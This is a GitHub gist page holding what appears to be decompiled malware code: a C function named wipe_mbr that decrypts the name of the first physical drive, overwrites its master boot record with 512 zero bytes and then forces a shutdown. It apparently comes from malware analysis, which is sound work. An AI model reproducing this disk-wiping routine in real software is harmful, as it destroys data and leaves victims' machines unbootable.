Skip to content

Instantly share code, notes, and snippets.

@m-quoint
Created January 27, 2020 11:03
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save m-quoint/ec1d1fc8840303a9f07a47fc12985768 to your computer and use it in GitHub Desktop.
Save m-quoint/ec1d1fc8840303a9f07a47fc12985768 to your computer and use it in GitHub Desktop.
void wipe_mbr()
{
wchar_t *v0; // [esp-4h] [ebp-20h]
HANDLE hFile; // [esp+0h] [ebp-1Ch]
DWORD NumberOfBytesWritten; // [esp+8h] [ebp-14h]
LPCVOID lpBuffer; // [esp+Ch] [ebp-10h]
LPCWSTR lpFileName; // [esp+10h] [ebp-Ch]
int v5; // [esp+14h] [ebp-8h]
v5 = 0;
lpFileName = 0;
lpBuffer = 0;
NumberOfBytesWritten = 0;
decrypt_str(a_PhysicalDrive0, key, dword_420850);
sub_402E40(&lpFileName, v0);
hFile = CreateFileW(lpFileName, 0x40000000u, 0, 0, 3u, 0x80u, 0);
str_copy(&lpFileName, &ValueName);
str_copy(&a_PhysicalDrive0, &ValueName);
if ( hFile != -1 )
{
lpBuffer = alloc_zero_filled(0x200u);
if ( lpBuffer )
{
if ( WriteFile(hFile, lpBuffer, 0x200u, &NumberOfBytesWritten, 0) )
{
FlushFileBuffers(hFile);
CloseHandle(hFile);
v5 = 1;
}
sub_402D70(lpBuffer);
}
if ( v5 )
shutdown(6u);
}
sub_402F20(lpFileName);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment